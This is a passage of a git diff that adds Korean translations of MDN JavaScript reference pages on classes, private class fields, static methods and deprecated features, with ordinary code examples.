+<p>Class를 정의하는 한 가지 방법은 <strong>class 선언</strong>을 이용하는 것입니다. class를 선언하기 위해서는 클래스의 이름(여기서 "Rectangle")과 함께 <code>class</code> 키워드를 사용해야 합니다.</p>
+
+<pre class="brush: js notranslate">class Rectangle {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+}</pre>
+
+<h4 id="Hoisting">Hoisting</h4>
+
+<p><strong>함수 선언</strong>과 <strong>클래스 선언</strong>의 중요한 차이점은 함수 선언의 경우 {{Glossary("Hoisting", "호이스팅")}}이 일어나지만, 클래스 선언은 그렇지 않다는 것입니다. 클래스를 사용하기 위해서는 클래스를 먼저 선언 해야 합니다. 그렇지 않으면, 다음 코드는 {{jsxref("ReferenceError")}}를 던질 것입니다. :</p>
+
+<pre class="brush: js example-bad notranslate">const p = new Rectangle(); // ReferenceError
+
+class Rectangle {}
+</pre>
+
+<h3 id="Class_표현식">Class 표현식</h3>
+
+<p><strong>Class 표현식</strong>은 class를 정의하는 또 다른 방법입니다. Class 표현식은 이름을 가질 수도 있고, 갖지 않을 수도 있습니다. 이름을 가진 class 표현식의 이름은 클래스 body의 local scope에 한해 유효합니다. (하지만, 클래스의 (인스턴스 이름이 아닌) {{jsxref("Function.name", "name")}} 속성을 통해 찾을 수 있습니다).</p>
+
+<pre class="brush: js notranslate">// unnamed
+let Rectangle = class {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+};
+console.log(Rectangle.name);
+// 출력: "Rectangle"
+
+// named
+let Rectangle = class Rectangle2 {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+};
+console.log(Rectangle.name);
+// 출력: "Rectangle2"
+</pre>
+
+<div class="note">
+<p><strong>참고:</strong> 클래스 <strong>표현식</strong>에는 {{anch ( "Class 선언")}} 섹션에 설명된 것과 동일한 호이스팅 제한이 적용됩니다.</p>
+</div>
+
+<h2 id="Class_body_와_메서드_정의">Class body 와 메서드 정의</h2>
+
+<p>Class body는 중괄호 <code>{}</code> 로 묶여 있는 안쪽 부분입니다. 이곳은 여러분이 메서드나 constructor와 같은 class 멤버를 정의할 곳입니다.</p>
+
+<h3 id="Strict_mode">Strict mode</h3>
+
+<p>클래스의 본문(body)은 {{jsxref("Strict_mode", "strict mode", "", "true")}}에서 실행됩니다. 즉, 여기에 적힌 코드는 성능 향상을 위해 더 엄격한 문법이 적용됩니다. 그렇지 않으면, 조용히 오류가 발생할 수 있습니다. 특정 키워드는 미래의 ECMAScript 버전용으로 예약됩니다.</p>
+
+<h3 id="Constructor_생성자">Constructor (생성자)</h3>
+
+<p>{{jsxref("Classes/constructor", "constructor", "", "true")}} 메서드는 <code>class</code> 로 생성된 객체를 생성하고 초기화하기 위한 특수한 메서드입니다.  "constructor" 라는 이름을 가진 특수한 메서드는 클래스 안에 한 개만 존재할 수 있습니다. 만약 클래스에 여러 개의 <code>constructor</code> 메서드가 존재하면 {{jsxref("SyntaxError")}} 가 발생할 것입니다.</p>
+
+<p>constructor는 부모 클래스의 constructor를 호출하기 위해 <code>super</code> 키워드를 사용할 수 있습니다.</p>
+
+<h3 id="프로토타입_메서드">프로토타입 메서드</h3>
+
+<p>{{jsxref("Functions/Method_definitions", "메서드 정의", "", "true")}}도 참조해보세요.</p>
+
+<pre class="brush: js notranslate">class Rectangle {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+  // Getter
+  get area() {
+    return this.calcArea();
+  }
+  // 메서드
+  calcArea() {
+    return this.height * this.width;
+  }
+}
+
+const square = new Rectangle(10, 10);
+
+console.log(square.area); // 100</pre>
+
+<h3 id="정적_메서드와_속성">정적 메서드와 속성</h3>
+
+<p>{{jsxref("Classes/static", "static", "", "true")}} 키워드는 클래스를 위한 정적(static) 메서드를 정의합니다. 정적 메서드는 클래스의 인스턴스화(<a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript#The_object_(class_instance)" title='An example of class instance is "var john = new Person();"'>instantiating</a>) 없이 호출되며, 클래스의 인스턴스에서는 호출할 수 없습니다. 정적 메서드는 어플리케이션(application)을 위한 유틸리티(utility) 함수를 생성하는 데 주로 사용됩니다. 반면, 정적 속성은 캐시, 고정 환경설정 또는 인스턴스 간에 복제할 필요가 없는 기타 데이터에 유용합니다.</p>
+
+<pre class="brush: js notranslate">class Point {
+  constructor(x, y) {
+    this.x = x;
+    this.y = y;
+  }
+
+  static displayName = "Point";
+  static distance(a, b) {
+    const dx = a.x - b.x;
+    const dy = a.y - b.y;
+
+    return Math.hypot(dx, dy);
+  }
+}
+
+const p1 = new Point(5, 5);
+const p2 = new Point(10, 10);
+p1.displayName; // undefined
+p1.distance;    // undefined
+p2.displayName; // undefined
+p2.distance;    // undefined
+
+console.log(Point.displayName);      // "Point"
+console.log(Point.distance(p1, p2)); // 7.0710678118654755</pre>
+
+<h3 id="프로토타입_및_정적_메서드를_사용한_this_바인딩">프로토타입 및 정적 메서드를 사용한 <code>this</code> 바인딩</h3>
+
+<p>메서드를 변수에 할당 한 다음 호출하는 것과 같이, 정적 메서드나 프로토타입 메서드가 {{jsxref("Operators/this", "this")}} 값 없이 호출될 때, <code>this</code> 값은 메서드 안에서 <code>undefined</code>가 됩니다. 이 동작은 {{jsxref("Strict_mode", "\"use strict\"")}} 명령어 없이도 같은 방식으로 동작하는데, <code>class</code> 문법 안에 있는 코드는 항상 strict mode 로 실행되기 때문입니다.</p>
+
+<pre class="brush: js notranslate">class Animal {
+  speak() {
+    return this;
+  }
+  static eat() {
+    return this;
+  }
+}
+
+let obj = new Animal();
+obj.speak(); // the Animal object
+let speak = obj.speak;
+speak(); // undefined
+
+Animal.eat() // class Animal
+let eat = Animal.eat;
+eat(); // undefined</pre>
+
+<p>위에 작성된 코드를 전통적 방식의 함수기반의 non–strict mode 구문으로 재작성하면, <code>this</code> 메서드 호출은 기본적으로 {{Glossary("Global_object", "전역 객체")}}인 초기 <code>this</code> 값에 자동으로 바인딩 됩니다. Strict mode에서는 자동 바인딩이 발생하지 않습니다; <code>this</code> 값은 전달된 대로 유지됩니다.</p>
+
+<pre class="brush: js notranslate">function Animal() { }
+
+Animal.prototype.speak = function() {
+  return this;
+}
+
+Animal.eat = function() {
+  return this;
+}
+
+let obj = new Animal();
+let speak = obj.speak;
+speak(); // global object (in non–strict mode)
+
+let eat = Animal.eat;
+eat(); // global object (in non-strict mode)</pre>
+
+<h3 id="인스턴스_속성">인스턴스 속성</h3>
+
+<p>인스턴스 속성은 반드시 클래스 메서드 내에 정의되어야 합니다:</p>
+
+<pre class="brush: js notranslate">class Rectangle {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+}</pre>
+
+<p>정적 (클래스사이드) 속성과 프로토타입 데이터 속성은 반드시 클래스 선언부 바깥쪽에서 정의되어야 합니다. </p>
+
+<pre class="brush: js notranslate">Rectangle.staticWidth = 20;
+Rectangle.prototype.prototypeWidth = 25;
+</pre>
+
+<h3 id="Field_선언">Field 선언</h3>
+
+<div class="blockIndicator warning">
+<p>public과  private 필드 선언은 자바스크립트 표준화 위원회에 <a href="https://github.com/tc39/proposal-class-fields">실험적 기능 (stage 3)</a>  <a href="https://tc39.es/">TC39</a> 로 제안되어있습니다.  현재 이를 지원하는 브라우져는 제한적인 상태입니다만, <a href="https://babeljs.io/">Babel</a> 과 같은 build 시스템을 사용한다면 이 기능을 사용해볼 수 있습니다.</p>
+</div>
+
+<h4 id="Public_필드_선언">Public 필드 선언</h4>
+
+<p>자바스크립트의 필드 선언 문법을 사용해서 위의 예제는 아래와 같이 다시 쓰여질 수 있습니다.</p>
+
+<pre class="brush: js notranslate">class Rectangle {
+  height = 0;
+  width;
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+}</pre>
+
+<p>필드를 먼저 선언함으로서 클래스 정의는 self-documenting에 가까워졌고 필드는 언제나 존재하는 상태가 됩니다.</p>
+
+<p>위의 예에서 봤듯이 필드 선언은 기본 값과 같이 선언될 수도 있습니다.</p>
+
+<p>자세한 내용은 {{jsxref("Classes/Public_class_fields", "public class fields", "", "true")}}를 참조하세요.</p>
+
+<h4 id="Private_필드_선언">Private 필드 선언</h4>
+
+<p>private 필드를 사용하면 아래와 같이 예제를 개선할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">class Rectangle {
+  #height = 0;
+  #width;
+  constructor(height, width) {
+    this.#height = height;
+    this.#width = width;
+  }
+}</pre>
+
+<p>클래스의 바깥에서 private 필드를 접근하려고 하면 에러가 발생합니다. private필드는 클래스 내부에서만 읽고 쓰기가 가능합니다. 클래스 외부에서 보이지 않도록 정의하였으므로 클래스가 버젼업 되면서 내부 구현이 바뀌더라도 클래스 사용자 입장에서는 이에 아무런 영항을 받지 않도록 할 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p>Private 필드는 사용전에 선언되어야 합니다.</p>
+</div>
+
+<p>일반적인 프로퍼티와는 다르게 private 필드는 값을 할당하면서 만들어질 수 없습니다.</p>
+
+<p>자세한 내용은 {{jsxref("Classes/Private_class_fields", "private class fields", "", "true")}}를 참조하세요.</p>
+
+<h2 id="extends를_통한_클래스_상속sub_classing"><code>extends</code>를 통한 클래스 상속(sub classing)</h2>
+
+<p>{{jsxref("Classes/extends", "extends")}} 키워드는 <em>클래스 선언</em>이나 <em>클래스 표현식</em>에서 다른 클래스의 자식 클래스를 생성하기 위해 사용됩니다.</p>
+
+<pre class="brush: js notranslate">class Animal {
+  constructor(name) {
+    this.name = name;
+  }
+
+  speak() {
+    console.log(`${this.name} makes a noise.`);
+  }
+}
+
+class Dog extends Animal {
+  constructor(name) {
+    super(name); // super class 생성자를 호출하여 name 매개변수 전달
+  }
+
+  speak() {
+    console.log(`${this.name} barks.`);
+  }
+}
+
+let d = new Dog('Mitzie');
+d.speak(); // Mitzie barks.</pre>
+
+<p>subclass에 constructor가 있다면, "this"를 사용하기 전에 가장 먼저 super()를 호출해야 합니다.</p>
+
+<p>또한 es5에서 사용되던 전통적인 함수 기반의 클래스를 통하여 확장할 수도 있습니다.</p>
+
+<pre class="brush: js notranslate">function Animal (name) {
+  this.name = name;
+}
+
+Animal.prototype.speak = function () {
+  console.log(`${this.name} makes a noise.`);
+}
+
+class Dog extends Animal {
+  speak() {
+    console.log(`${this.name} barks.`);
+  }
+}
+
+let d = new Dog('Mitzie');
+d.speak(); // Mitzie barks.
+
+// 유사한 메서드의 경우, 자식의 메서드가 부모의 메서드보다 우선합니다</pre>
+
+<p>클래스는 생성자가 없는 객체(non-constructible)을 확장할 수 없습니다. 만약 기존의 생성자가 없는 객체을 확장하고 싶다면, 이 메서드를 사용하세요. {{jsxref("Object.setPrototypeOf()")}}:</p>
+
+<pre class="brush: js notranslate">const Animal = {
+  speak() {
+    console.log(`${this.name} makes a noise.`);
+  }
+};
+
+class Dog {
+  constructor(name) {
+    this.name = name;
+  }
+}
+
+// 이 작업을 수행하지 않으면 speak를 호출할 때 TypeError가 발생합니다
+Object.setPrototypeOf(Dog.prototype, Animal);
+
+let d = new Dog('Mitzie');
+d.speak(); // Mitzie makes a noise.</pre>
+
+<h2 id="Species">Species</h2>
+
+<p>배열을 상속 받은 MyArray 클래스에서 {{jsxref("Array")}} Object를 반환하고 싶을 수도 있을 것입니다. 그럴때 Species 패턴은 기본 생성자를 덮어쓰도록 해줍니다.</p>
+
+<p>예를 들어, {{jsxref("Array.map", "map()")}}과 같은 기본 생성자를 반환하는 메서드를 사용할 때 이 메서드가 MyArray 객체 대신 <code>Array</code> 객체가 반환하도록 하고 싶을 것입니다. {{jsxref("Symbol.species")}} 심볼은 이러한 것을 가능하게 해줍니다:</p>
+
+<pre class="brush: js notranslate">class MyArray extends Array {
+  // 부모 Array 생성자로 species 덮어쓰기
+  static get [Symbol.species]() { return Array; }
+}
+var a = new MyArray(1,2,3);
+var mapped = a.map(x =&gt; x * x);
+
+console.log(mapped instanceof MyArray); // false
+console.log(mapped instanceof Array);   // true</pre>
+
+<h2 id="super_를_통한_상위_클래스_호출"><code>super</code> 를 통한 상위 클래스 호출</h2>
+
+<p>{{jsxref("Operators/super", "super")}} 키워드는 객체의 부모가 가지고 있는 메서드를 호출하기 위해 사용됩니다. 이는 프로토타입 기반 상속보다 좋은 점 중 하나입니다.</p>
+
+<pre class="brush: js notranslate">class Cat {
+  constructor(name) {
+    this.name = name;
+  }
+
+  speak() {
+    console.log(`${this.name} makes a noise.`);
+  }
+}
+
+class Lion extends Cat {
+  speak() {
+    super.speak();
+    console.log(`${this.name} roars.`);
+  }
+}
+
+let l = new Lion('Fuzzy');
+l.speak();
+// Fuzzy makes a noise.
+// Fuzzy roars.</pre>
+
+<h2 id="Mix-ins">Mix-ins</h2>
+
+<p>추상 서브 클래스 또는 믹스-인은 클래스를 위한 템플릿입니다. ECMAScript 클래스는 하나의 단일 슈퍼클래스만을 가질 수 있으며, 예를 들어 툴링 클래스로부터의 다중 상속은 불가능합니다. 기능은 반드시 슈퍼클래스에서 제공되어야 합니다.</p>
+
+<p>슈퍼클래스를 인자로 받고 이 슈퍼클래스를 확장하는 서브클래스를 생성하여 반환하는 함수를 사용하여 ECMAScript에서 믹스-인을 구현할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">var calculatorMixin = Base =&gt; class extends Base {
+  calc() { }
+};
+
+var randomizerMixin = Base =&gt; class extends Base {
+  randomize() { }
+};</pre>
+
+<p>위 믹스-인을 사용하는 클래스는 다음과 같이 작성할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">class Foo { }
+class Bar extends calculatorMixin(randomizerMixin(Foo)) { }</pre>
+
+<h2 id="클래스_재정의">클래스 재정의</h2>
+
+<p>클래스는 재정의될 수 없습니다. 재정의를 시도하면 <code>SyntaxError</code> 가 발생합니다.</p>
+
+<p>이를 실험해보고 싶으면 FireFox Web Console (<strong>Tools </strong>&gt;<strong> Web Developer </strong>&gt;<strong> Web Console</strong>) 에서 같은 이름으로 클래스를 두번 정의하려고 해보세요. 다음과 같은 오류를 보게 될 겁니다. <code>SyntaxError: redeclaration of let <em>ClassName</em>;</code>. (See further discussion of this issue in {{Bug(1428672)}}.) Doing something similar in Chrome Developer Tools gives you a message like <code>Uncaught SyntaxError: Identifier '<em>ClassName</em>' has already been declared at &lt;anonymous&gt;:1:1</code>.</p>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세서</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.classes")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Functions", "함수", "", "true")}}</li>
+ <li>{{jsxref("Statements/class", "class 선언", "", "true")}}</li>
+ <li>{{jsxref("Operators/class", "class 식", "", "true")}}</li>
+ <li>{{jsxref("Classes/Public_class_fields", "Public class fields", "", "true")}}</li>
+ <li>{{jsxref("Classes/Private_class_fields", "Private class fields", "", "true")}}</li>
+ <li>{{jsxref("Operators/super", "super")}}</li>
+ <li><a href="https://hacks.mozilla.org/2015/07/es6-in-depth-classes/">블로그 게시물: "ES6 In Depth: Classes"</a></li>
+ <li><a href="https://github.com/tc39/proposal-class-fields">Fields and public/private class properties proposal (stage 3)</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/classes/private_class_fields/index.html b/files/ko/web/javascript/reference/classes/private_class_fields/index.html
new file mode 100644
index 0000000000..ea5508ab27
--- /dev/null
+++ b/files/ko/web/javascript/reference/classes/private_class_fields/index.html
@@ -0,0 +1,201 @@
+---
+title: Private class fields
+slug: Web/JavaScript/Reference/Classes/Private_class_fields
+tags:
+  - Class
+  - JavaScript
+  - Private Field
+translation_of: Web/JavaScript/Reference/Classes/Private_class_fields
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<p>class 의 속성(property)들은 기본적으로 public 하며 class 외부에서 읽히고 수정될 수 있다. 하지만, ES2019 에서는 해쉬 <code>#</code> prefix 를 추가해 private class 필드를 선언할 수 있게 되었다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="notranslate">class ClassWithPrivateField {
+  #privateField
+}
+
+class ClassWithPrivateMethod {
+  #privateMethod() {
+    return 'hello world'
+  }
+}
+
+class ClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Private_static_fields">Private static fields</h3>
+
+<p>private 필드는 class 선언문 내부의 class 생성자(class constructor)에서 접근이 가능하다.</p>
+
+<p>static 메소드에서만 static 변수들을 호출할 수 있다는 제약은 그대로 유지된다.</p>
+
+<pre class="notranslate">class ClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+
+  static publicStaticMethod() {
+    ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42
+    return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD
+  }
+}
+
+console.assert(ClassWithPrivateStaticField.publicStaticMethod() === 42)</pre>
+
+<p>Private static 필드는 class evaluation 시 class 생성자(class constructor)에 추가된다.</p>
+
+<p>Private static 필드는 해당 필드를 선언한 class 에서만 접근할 수 있다.</p>
+
+<p>이는 <code>this</code> 를 사용함에 있어 예상치 못한 동작을 야기할 수 있다.</p>
+
+<pre class="notranslate">class BaseClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+
+  static basePublicStaticMethod() {
+    this.#PRIVATE_STATIC_FIELD = 42
+    return this.#PRIVATE_STATIC_FIELD
+  }
+}
+
+class SubClass extends BaseClassWithPrivateStaticField { }
+
+let error = null
+
+try {
+  SubClass.basePublicStaticMethod()
+} catch(e) { error = e}
+
+console.assert(error instanceof TypeError)</pre>
+
+<h3 id="Private_instance_fields">Private instance fields</h3>
+
+<p>private 인스턴스 필드는 <strong># 이름 ('해쉬 이름' 으로 발음)</strong>,<strong> </strong>즉 <code>#</code> prefix 를 가진 식별자로 선언된다. <code>#</code> 은 그 이름 자체의 일부이며 선언과 접근 시에 모두 사용된다.</p>
+
+<p>캡슐화(encapsulation) 는 언어로부터 강제된다(enforced by the language). 즉, scope 밖에서 <code>#</code> 이름에 접근하는 것은 syntax error 이다.</p>
+
+<pre class="notranslate">class ClassWithPrivateField {
+  #privateField
+
+  constructor() {
+    this.#privateField = 42
+    this.#randomField = 444 // Syntax error
+  }
+}
+
+const instance = new ClassWithPrivateField()
+instance.#privateField === 42 // Syntax error</pre>
+
+<h3 id="Private_Methods">Private Methods</h3>
+
+<h4 id="Private_static_methods">Private static methods</h4>
+
+<p><strong>private static 메소드</strong>는 public static 메소드처럼 인스턴스가 아닌 class 로부터 호출된다. 그리고 private static 필드처럼 class 선언문 내부에서만 접근 가능하다. </p>
+
+<p>private static 메소드는 generator, async 그리고 async generator 함수가 될 수 있다.</p>
+
+<pre class="notranslate">class ClassWithPrivateStaticMethod {
+  static #privateStaticMethod() {
+    return 42
+  }
+
+  static publicStaticMethod1() {
+    return ClassWithPrivateStaticMethod.#privateStaticMethod();
+  }
+
+  static publicStaticMethod2() {
+    return this.#privateStaticMethod();
+  }
+}
+
+console.assert(ClassWithPrivateStaticMethod.publicStaticMethod1() === 42);
+console.assert(ClassWithPrivateStaticMethod.publicStaticMethod2() === 42);</pre>
+
+<p>이는 <code>this</code> 를 사용할 때 예상치 못한 동작을 발생시킬 수 있다. (이는 <code>this</code> binding rule 이 적용되기 때문이다.) 다음 예시에서 <code>Derived.publicStaticMethod2()</code> 를 호출할 때, <code>this</code> 는 class <code>Derived</code> (<code>Base</code> 가 아니라) 를 가리킨다. </p>
+
+<pre class="notranslate">class Base {
+  static #privateStaticMethod() {
+    return 42;
+  }
+  static publicStaticMethod1() {
+    return Base.#privateStaticMethod();
+  }
+  static publicStaticMethod2() {
+    return this.#privateStaticMethod();
+  }
+}
+
+class Derived extends Base {}
+
+console.log(Derived.publicStaticMethod1()); // 42
+console.log(Derived.publicStaticMethod2()); // TypeError</pre>
+
+<h4 id="Private_instance_methods">Private instance methods</h4>
+
+<p>private 인스턴스 메소드는 private 인스턴스 필드와는 다르게 class 인스턴스로부터 접근 가능하다.</p>
+
+<pre class="notranslate">class ClassWithPrivateMethod {
+  #privateMethod() {
+    return 'hello world'
+  }
+
+  getPrivateMessage() {
+    return this.#privateMethod()
+  }
+}
+
+const instance = new ClassWithPrivateMethod()
+console.log(instance.getPrivateMessage())
+// expected output: "hello worl​d"</pre>
+
+<p>private 인스턴스 메소드는 generator, async 그리고 async generator 함수가 될 수 있다. private getter 와 setter 또한 가능하다:</p>
+
+<pre class="notranslate">class ClassWithPrivateAccessor {
+  #message
+
+  get #decoratedMessage() {
+    return `✨${this.#message}✨`
+  }
+  set #decoratedMessage(msg) {
+    this.#message = msg
+  }
+
+  constructor() {
+    this.#decoratedMessage = 'hello world'
+    console.log(this.#decoratedMessage)
+  }
+}
+
+new ClassWithPrivateAccessor();
+// expected output: "✨hello worl​d✨"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Public and private instance fields', '#prod-FieldDefinition', 'FieldDefinition')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.classes.private_class_fields")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes/Public_class_fields">Public class fields</a></li>
+ <li><a href="https://rfrn.org/~shu/2018/05/02/the-semantics-of-all-js-class-elements.html">The Semantics of All JS Class Elements</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/classes/static/index.html b/files/ko/web/javascript/reference/classes/static/index.html
new file mode 100644
index 0000000000..02701e550d
--- /dev/null
+++ b/files/ko/web/javascript/reference/classes/static/index.html
@@ -0,0 +1,136 @@
+---
+title: static
+slug: Web/JavaScript/Reference/Classes/static
+tags:
+  - Classes
+  - ECMAScript 2015
+  - JavaScript
+  - 자바스크립트
+  - 클래스
+translation_of: Web/JavaScript/Reference/Classes/static
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p><strong>static</strong> 키워드는 클래스의 정적 메서드를 정의합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/classes-static.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">static methodName() { ... }</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>정적 메서드는 클래스의 인스턴스 없이 호출이 가능하며 클래스가 인스턴스화되면 호출할 수 없다. 정적 메서드는 종종 어플리케이션의 유틸리티 함수를 만드는데 사용된다.</p>
+
+<h2 id="정적_메서드의_호출">정적 메서드의 호출</h2>
+
+<h4 id="다른_정적_메서드에서의_호출">다른 정적 메서드에서의 호출</h4>
+
+<p>동일한 클래스 내의 다른 정적 메서드 내에서 정적 메서드를 호출하는 경우 키워드 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code>를 사용할 수 있다.</p>
+
+<pre class="brush: js">class StaticMethodCall {
+  static staticMethod() {
+    return 'Static method has been called';
+  }
+  static anotherStaticMethod() {
+    return this.staticMethod() + ' from another static method';
+  }
+}
+StaticMethodCall.staticMethod();
+// 'Static method has been called'
+
+StaticMethodCall.anotherStaticMethod();
+// 'Static method has been called from another static method'
+</pre>
+
+<h3 id="클래스_생성자_및_다른_메서드에서의_호출">클래스 생성자 및 다른 메서드에서의 호출</h3>
+
+<p>정적 메서드가 비정적 메서드에서 키워드<code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code> 를 써서는 직접적인 접근을 할 수 없다. 바른 호출 방법은  클래스 명칭을 쓰거나, 즉 <code>CLASSNAME.STATIC_METHOD_NAME()</code> 을 이용하거나 혹은 그 메서드를 생성자의 한 속성으로 부르는 것으로, 즉 <code>constructor</code> : <code>this.constructor.STATIC_METHOD_NAME()</code>를 이용한다.</p>
+
+<pre class="brush: js">class StaticMethodCall {
+  constructor() {
+    console.log(StaticMethodCall.staticMethod());
+    // 'static method has been called.'
+
+    console.log(this.constructor.staticMethod());
+    // 'static method has been called.'
+  }
+
+  static staticMethod() {
+    return 'static method has been called.';
+  }
+}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 예제는 여러가지 내용을 설명합니다.</p>
+
+<ol>
+ <li>어떻게 정적 메서드가 클래스에서 구현되는지</li>
+ <li>클래스의 정적 맴버가 서브클래스화 되는 것을 보여줍니다.</li>
+ <li>정적 메서드가 어떤 경우에 호출 될 수 있는지와 없는지를 설명합니다.</li>
+</ol>
+
+<pre class="brush: js">class Triple {
+  static triple(n) {
+    n = n || 1; //비트연산이 아니어야 합니다.
+    return n * 3;
+  }
+}
+
+class BiggerTriple extends Triple {
+  static triple(n) {
+    return super.triple(n) * super.triple(n);
+  }
+}
+
+console.log(Triple.triple());        // 3
+console.log(Triple.triple(6));       // 18
+console.log(BiggerTriple.triple(3)); // 81
+var tp = new Triple();
+console.log(BiggerTriple.triple(3)); // 81 (부모의 인스턴스에 영향을 받지 않습니다.)
+console.log(tp.triple()); // 'tp.triple은 함수가 아닙니다.'.
+console.log(tp.constructor.triple(4)); // 12
+</pre>
+
+<p> </p>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.classes.static")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/deprecated_and_obsolete_features/index.html b/files/ko/web/javascript/reference/deprecated_and_obsolete_features/index.html
new file mode 100644
index 0000000000..deffbf4caa
--- /dev/null
+++ b/files/ko/web/javascript/reference/deprecated_and_obsolete_features/index.html
@@ -0,0 +1,290 @@
+---
+title: Deprecated and obsolete features
+slug: Web/JavaScript/Reference/Deprecated_and_obsolete_features
+tags:
+  - Deprecated
+  - JavaScript
+  - Obsolete
+translation_of: Web/JavaScript/Reference/Deprecated_and_obsolete_features
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>본 페이지는 자바스크립트의 제외 예정인(즉, 아직 사용할 수 있지만 제거 계획이 있는) 기능과 제외된(즉, 더 이상 사용할 수 없는) 기능을 나열합니다.</p>
+
+<h2 id="제외_예정_기능">제외 예정 기능</h2>
+
+<p>아래 기능은 아직 사용할 수 있지만, 언젠가 제거될 예정이므로 주의를 기울여야 합니다. 작성한 코드가 항목 중 하나를 포함하고 있다면 제거해야 합니다.</p>
+
+<h3 id="RegExp_속성">RegExp 속성</h3>
+
+<p>아래 속성은 제외 예정입니다. 이는 {{jsxref("String.replace")}} 사용에 영향을 주지 않습니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Property</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.n", "$1-$9")}}</td>
+   <td>
+    <p>Parenthesized substring matches, if any.<br>
+     <strong>Warning:</strong> Using these properties can result in problems, since browser extensions can modify them. Avoid them!</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.input", "$_")}}</td>
+   <td>See <code>input</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.multiline", "$*")}}</td>
+   <td>See <code>multiline</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.lastMatch", "$&amp;")}}</td>
+   <td>See <code>lastMatch</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.lastParen", "$+")}}</td>
+   <td>See <code>lastParen</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.leftContext", "$`")}}</td>
+   <td>See <code>leftContext</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.rightContext", "$'")}}</td>
+   <td>See <code>rightContext</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.input", "input")}}</td>
+   <td>The string against which a regular expression is matched.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.lastMatch", "lastMatch")}}</td>
+   <td>The last matched characters.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.lastParen", "lastParen")}}</td>
+   <td>The last parenthesized substring match, if any.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.leftContext", "leftContext")}}</td>
+   <td>The substring preceding the most recent match.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.rightContext", "rightContext")}}</td>
